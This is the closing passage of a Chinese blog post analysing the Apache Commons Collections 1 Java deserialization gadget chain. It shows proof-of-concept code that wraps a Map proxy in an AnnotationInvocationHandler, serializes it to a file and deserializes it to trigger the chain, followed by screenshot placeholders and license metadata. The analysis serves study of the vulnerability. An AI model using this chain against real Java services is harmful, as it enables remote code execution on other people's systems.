Map o = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annHandObject);

// 实例化代理对象
Object serializableObject = AnnotationInvocationHandlerConstrucor.newInstance(Retention.class, o);

// 序列化
serializable(serializableObject);
// 反序列化
unserializable();

}

// 序列化
public static void serializable(Object obj) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}

// 反序列化
public static void unserializable() throws Exception {
ObjectInputStream out = new ObjectInputStream(new FileInputStream("ser.bin"));
out.readObject();
}
}

运行结果:

image-20230718194203547

最后在这里贴一张两条链的利用链的流程图做一个总结吧。

image-20230718202413139)

  • 标题: CommonCollections1利用链分析
  • 作者: GTL-JU
  • 创建于: 2023-07-18 20:16:39
  • 更新于: 2023-07-18 20:24:54
  • 链接: https://gtl-ju.github.io/2023/07/18/CommonCollections1利用链分析/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。